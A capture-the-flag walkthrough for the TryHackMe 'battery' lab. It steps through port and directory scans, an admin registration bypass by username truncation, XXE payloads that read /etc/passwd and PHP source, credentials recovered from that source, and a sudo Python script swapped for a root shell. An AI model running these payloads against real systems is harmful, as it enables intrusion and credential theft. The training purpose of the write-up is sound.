> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/battery.md).

# battery

**Room Link:** [https://tryhackme.com/r/room/battery ](https://tryhackme.com/r/room/battery)

### **Scans** <a href="#scans" id="scans"></a>

**Kali**

```
nmap -A $VICTIM
```

<figure><img src="/files/NNq4OAmFAgPmIskH4F7Q" alt=""><figcaption></figcaption></figure>

Longer scan

**Kali**

```
nmap -sV -sT -O -p 1-65535 $VICTIM
```

<figure><img src="/files/tpOZ0JXKusBmtJYMswdJ" alt=""><figcaption></figcaption></figure>

## **TCP/80 - HTTP**

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/730R3bhPi7vvWySgEbSd" alt=""><figcaption></figcaption></figure>

## **File Inspection**

<figure><img src="/files/cBQHqDkyF33Vp6PakjAs" alt=""><figcaption></figcaption></figure>

**Kali**

```
cat report 
```

<figure><img src="/files/orU39v6QbKj4RnWr6Bgk" alt=""><figcaption></figcaption></figure>

**Kali**

```
strings report 
```

<figure><img src="/files/DlqTHvRL1Fir83UmemUV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HpFQMTCGweaYkb3P4yPn" alt=""><figcaption></figcaption></figure>

## **Bypass Login Restrictions.**

Based off we saw in the file there is a admin user. The username field has a character limit which will stop us from registering a username that is too long but we can try in burp.

<figure><img src="/files/kA2pZwVlDu82fYgLTh1E" alt=""><figcaption></figcaption></figure>

The original request. It will fail to register.

<figure><img src="/files/ToDCLcfPqjsF9xHYhoyc" alt=""><figcaption></figcaption></figure>

We can just add a random character to the end which will cut off and then it will register the user as admin.

<figure><img src="/files/JY3xyPtTAVXpBJA0f9CE" alt=""><figcaption></figcaption></figure>

We can now login as the admin user

<figure><img src="/files/IThi72hVWyLI1dHNdJmw" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/treY83alDsZopFcEOgsz" alt=""><figcaption></figcaption></figure>

## XEE - Read files

<figure><img src="/files/5E1M5noBFsVV2rhNq9sL" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6dPkUKzrNeA3mBix6wUm" alt=""><figcaption></figcaption></figure>

Add

```
<!DOCTYPE replace [<!ENTITY test SYSTEM "file:///etc/passwd"> ]>

<search>&test;</search>
```

<figure><img src="/files/TI7OK8BC36soDz8UbPHg" alt=""><figcaption></figcaption></figure>

Add

```
<!DOCTYPE replace [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=acc.php"> ]>

<search>&test;</search>
```

<figure><img src="/files/HApqLualjVBdJ8w0r7EF" alt=""><figcaption></figcaption></figure>

We echo and decode the file and we see the creds for the user cyber which we saw above has an account to the OS level of the box.

**Kali**

```
echo "PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KPHN0eWxlPgpmb3JtCnsKICBib3JkZXI6IDJweCBzb2xpZCBibGFjazsKICBvdXRsaW5lOiAjNENBRjUwIHNvbGlkIDNweDsKICBtYXJnaW46IGF1dG87CiAgd2lkdGg6MTgwcHg7CiAgcGFkZGluZzogMjBweDsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCgp1bCB7CiAgbGlzdC1zdHlsZS10eXBlOiBub25lOwogIG1hcmdpbjogMDsKICBwYWRkaW5nOiAwOwogIG92ZXJmbG93OiBoaWRkZW47CiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKfQoKbGkgewogIGZsb2F0OiBsZWZ0OwogIGJvcmRlci1yaWdodDoxcHggc29saWQgI2JiYjsKfQoKbGk6bGFzdC1jaGlsZCB7CiAgYm9yZGVyLXJpZ2h0OiBub25lOwp9CgpsaSBhIHsKICBkaXNwbGF5OiBibG9jazsKICBjb2xvcjogd2hpdGU7CiAgdGV4dC1hbGlnbjogY2VudGVyOwogIHBhZGRpbmc6IDE0cHggMTZweDsKICB0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KCmxpIGE6aG92ZXI6bm90KC5hY3RpdmUpIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTExOwp9CgouYWN0aXZlIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiBibHVlOwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8dWw+CiAgPGxpPjxhIGhyZWY9ImRhc2hib2FyZC5waHAiPkRhc2hib2FyZDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJ3aXRoLnBocCI+V2l0aGRyYXcgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iZGVwby5waHAiPkRlcG9zaXQgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0idHJhLnBocCI+VHJhbnNmZXIgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iYWNjLnBocCI+TXkgQWNjb3VudDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJmb3Jtcy5waHAiPmNvbW1hbmQ8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0ibG9nb3V0LnBocCI+TG9nb3V0PC9hPjwvbGk+CiAgPGxpIHN0eWxlPSJmbG9hdDpyaWdodCI+PGEgaHJlZj0iY29udGFjdC5waHAiPkNvbnRhY3QgVXM8L2E+PC9saT4KPC91bD48YnI+PGJyPjxicj48YnI+Cgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgpzZXNzaW9uX3N0YXJ0KCk7CmlmKGlzc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSkgYW5kICRfU0VTU0lPTlsnZmF2Y29sb3InXT09PSJhZG1pbkBiYW5rLmEiKQp7CgplY2hvICI8aDMgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+V2VjbG9tZSB0byBBY2NvdW50IGNvbnRyb2wgcGFuZWw8L2gzPiI7CmVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdBY2NvdW50IG51bWJlcicgbmFtZT0nYWNubyc+IjsKZWNobyAiPGJyPjxicj48YnI+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdNZXNzYWdlJyBuYW1lPSdtc2cnPiI7CmVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTZW5kJyBuYW1lPSdidG4nPiI7CmVjaG8gIjwvZm9ybT4iOwovL01ZIENSRURTIDotIGN5YmVyOnN1cGVyI3NlY3VyZSZwYXNzd29yZCEKaWYoaXNzZXQoJF9QT1NUWydidG4nXSkpCnsKJG1zPSRfUE9TVFsnbXNnJ107CmVjaG8gIm1zOiIuJG1zOwppZigkbXM9PT0iaWQiKQp7CnN5c3RlbSgkbXMpOwp9CmVsc2UgaWYoJG1zPT09Indob2FtaSIpCnsKc3lzdGVtKCRtcyk7Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1JDRSBEZXRlY3RlZCEnKTwvc2NyaXB0PiI7CnNlc3Npb25fZGVzdHJveSgpOwp1bnNldCgkX1NFU1NJT05bJ2ZhdmNvbG9yJ10pOwpoZWFkZXIoIlJlZnJlc2g6IDAuMTsgdXJsPWluZGV4Lmh0bWwiKTsKfQp9Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ09ubHkgQWRtaW5zIGNhbiBhY2Nlc3MgdGhpcyBwYWdlIScpPC9zY3JpcHQ+IjsKc2Vzc2lvbl9kZXN0cm95KCk7CnVuc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSk7CmhlYWRlcigiUmVmcmVzaDogMC4xOyB1cmw9aW5kZXguaHRtbCIpOwp9Cj8+Cg==" | base64 -d
```

<figure><img src="/files/DHr9wCvyHpfCz92H2dRP" alt=""><figcaption></figcaption></figure>

## **TCP/22 - SSH**

**Kali**

<pre><code><strong>ssh cyber@$VICTIM
</strong>Password: super#secure&#x26;password!
</code></pre>

## Privilege Escalation

**Victim**

```
sudo -l
```

<figure><img src="/files/kPcADxvFiq5OhJ8XiUR3" alt=""><figcaption></figcaption></figure>

**Victim**

```
cd /home/cyber
mv run.py run.py.bak 
```

**run.py**

```
import os
os.system("/bin/bash")
```

**Victim**

```
sudo /usr/bin/python3 /home/cyber/run.py 
```

<figure><img src="/files/KU1pMiVrR3cFAzdcJloz" alt=""><figcaption></figcaption></figure>
